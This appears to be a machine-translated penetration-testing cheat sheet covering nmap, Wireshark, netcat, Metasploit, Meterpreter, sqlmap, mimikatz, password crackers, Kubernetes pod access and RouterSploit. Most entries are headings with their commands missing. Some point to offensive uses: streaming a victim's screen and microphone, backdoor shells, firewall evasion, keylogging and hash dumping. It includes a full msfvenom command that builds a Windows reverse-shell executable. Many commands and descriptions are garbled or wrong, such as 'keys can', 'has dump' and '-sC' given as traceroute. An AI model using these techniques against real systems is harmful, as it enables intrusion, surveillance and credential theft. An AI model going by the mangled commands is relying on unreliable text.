Tool Syntax
How to use the tools
Nmap command
Scanning methods
Switch Explanation | |
---|---|
-sp | Scan with ping |
-sS | Scanning with syn |
-sT | Scanning with connection |
-sU | Scanning with udp |
-so | Scanning with protocol |
-sv | Scanning along with versions |
-sC | Scanning with traceroute |
-T4 Setting the scanning speed between 0 and 5 |
|
-oA | Scanning output with all formats |
-iL list.txt | Scan the contents of the list |
Capabilities
Switch Explanation | |
---|---|
-ox file | Write inside the xml file |
-oG file | Writing inside the grep file |
-oA file | Storage with 3 formats |
-iL file | Reading hosts from inside my file |
-exclude file file | Except for the hosts in the file |
Advanced features
Switch Explanation | |
---|---|
-sV -p –script=banner | Banners |
–traceroute | Draw a route map |
–ttl | ttl code |
–script | Script |
Firewall evasion
Switch Explanation | |
---|---|
-f | Crossed fasteners |
-s ip | source spoof |
-g # | spoof source port |
-D ip , ip | Bait |
–mtu # | Setting the MTU size |
–spoof-mac mac | spoof mac address |
–data-length size | Size |
–scan-delay script | Script |
–min-rate=X | Determining the minimum number of requests sent per second |
Convert xml output to html
Create active hosts
Compare nmap results
reverse dns lookup in ip range
ids test (xmas scan with ips bait and spoofing)
List of nmap scripts
name | Explanation |
---|---|
List of shared routes smb-enum-shares.nse |
|
Wireshark software
Filter Explanation | |
---|---|
eth.addr/eth.dst.eth.src | Mac |
rip.auth.passwd | Password RIP |
ip.addr/ip.dst/ip.src (ipv6.) | IP |
tcp.port/tcp.dstport/tcp.srcport | TCP ports |
tcp.flags (ack,fin,push,reset,syn,urg) | TCP flags |
udp.port/udp.dstport/udp.srcport | UDP ports |
http.authbasic | Basic authentication authentication |
http.www_authentication | Authentication of HTTP authentication |
http.data | HTTP data |
http.cookie | HTTP cookies |
http.referer | HTTP referrer path |
http.server | HTTP servers |
http.user agent | The user-agent section in HTTP |
wlan.fc.type eq 0 | 802.11 management frame |
wlan.fc.type eq 1 | 802.11 control frame |
wlan.fc.type eq 0 | 802.11 data frames |
wlan.fc.type subtype eq 0 (1=reponse) | 802.11 association request |
wlan.fc.type_subtype eq 2 (3=response) | 802.11 reassociation req |
wlan.fc.type_subtype eq 4 (5=response) | 802.11 probe request |
wlan.fc.type_subtype eq 8 | 802.11 beacon |
wlan.fc.type subtype eq 10 | 802.11 disassociate |
wlan.fc.type=subtype eq 11 (12=deauthenticate) | 802.11 authentication |
Command operators
Logical operators
Netcat command
Fundamental
Start HTTP SOCKS server at Automation-Server
Scan ports
transfer files
Backdoor shells
Use VLC for streaming
Saving and streaming the screen through the udp protocol to the attacker’s address and port 1234
Save and stream the screen in http protocol
Save and stream on broadcast
Save and record the screen in a file
Record and stream microphone on udp
SSH command
Connect with ssh with specific port
Reverse port forwarding using the tunnel (in the support user reverse shell)
Set x11 victim to attacker
Create port forward on port 8080 and transfer to port 443 of the attacker
Using port forward on the attacker’s port 8080 and transferring information using ssh tunnel and port 3300 3.3.3.3
Dynamic tunnel using proxychain. Also, the file /etc/proxychain.conf to set the port (1080)
Create multi-hop ssh tunnel
Metasploit software
Command | Description |
---|---|
msfconsole r file.rc | Load resource file |
msfcli | grep exploit/window | List of Windows exploits |
rnsfencode -l | list of encodes |
msfpayload -h | List of payloads |
show exploits | Display exploits |
show auxiliary | show auxiliary module |
show payloads | Show payloads |
search string | Search for a specific string |
search exploit string | Search exploits |
searchsploit -m exploits/php/webapps/45161.py | Copy the Xploit file in the current path |
info module | Display module information |
use module | Load Xploit or Module |
show options | Display module properties |
show advanced | Show advanced settings |
set option value | Set value |
sessions -v | List of meetings: -k # (delete) -u # (Update Meterpreter) |
sessions -s script | Run the Meterpreter script in all sessions |
jobs -l | List all jobs (-k # - kill) |
exploit -j | Run exploit as job |
route add ip nmask sid | Rotation or Pivoting |
loadpath /home/modules | Load tradeparty tree |
irb | shell ruby implementation |
connect -s ip 443 | connect to ssl (NC clone) |
route add ip mask session id | added route ·in the pivot |
exploit/multi/handler - set ExitOnSession False | Show more settings Shells |
set ConsoleLogging true (also SessionLogging) | Enable reporting |
Sqlmap command
Send request Get
Send Post request
SQL injection in a specific parameter and knowing the type of database
SQL injection on the page requiring authentication
SQL injection and getting the database version and its name and user
SQL injection and get database tables db=testdb
SQL injection and receiving table columns
Read from file
Get the records of the specified table from the specified database
Using the delay technique
Bypass waf with unicode
msf
Creating meterpreter payload (for Linux: -t file -o callback)
Create payload with bound meterpreter
Creating a Java reverse shell
Creating a reverse shell for Windows with msfvenom
msfvenom -p windows/shell_reverse_tcp lhost=ip lport=port -f exe --platform windows >reverse.exe
Generate encoded payload using msfvenom
Start database msf (bt5=mysql,kali=postgresql)
return the shell (by default it will run notepad and injection)
Display the html banner in the internal network
Meterpreter
Command | Explanation |
Help | List of available commands |
sysinfo | Display system information |
p.s List of processes |
|
getpid | List of available PID |
upload file C:\Program Files\ | Upload file |
download file | Get the file |
reg command | Interaction with the registry |
rev2self | Back to main user |
shell | Transfer to interactive shell |
migrate PID | Change to another PID |
background | The current process behind the background |
keys can (start|stop|dump) | Start/stop/delete keylogger |
execute -f cmd.exe -i | Run cmd.exe and interact with it |
execute -f crnd.exe -i -H -t | Run cmd.exe as a hidden process and get all the tokens |
has dump | Get all local hashes |
run script | Running the script (/scripts/meterpreter) |
port fwd [add I delete] -lL 127.0.0.1 443 -r 3.3.3.3 -p 3389 | Create port forward on port 3389 in the current session and remote desktop access on port 443 |
Increasing access level
Impersonation token (removing the token will stop impersonation)
Using nmap in meterpreter socks proxy
Railgun - api related to displaying specific messages
Creating a stable Windows service
Collect the latest requested files and web links
Create a new process and command tree c:\
Ettercap software
Main-In-Middle attack using filters
Main-In-Middle attack on subnet with functional fitters
Switch flood attack
Ettercap filters
Compile ettercap filters
Example filter - remove vpn traffic and decrypt http traffic
Mimikatz command
Or
Or
Hping command3
Arping command
Wine command
Grub software
Hydra command
hashcat software
NTLMv2 crack
John the ripper software
Crack with word list
Sample formats
List of passwords
Creating different words based on one word
Vsown command
File hash
Hash length
Software with different hash databases
Malware hash database
Search in metadata files
Search the virustotal database
Guess the password of the zip file
Guess the password of the winrm service
Guess the password of the smb service
Connect to mssql with impackt
powershell download files
List of Pods
Check if you have rights to exec into any pods
exec into sensitive-pod
More information about the environment
RouterSploit
Discover Devices
Scan for vulnerabilities
Brute Force
Exploit vulnerabilities
Generate Payloads
Sniffing
Dos Attacks
Password Attacks
Shodan Integration
Last updated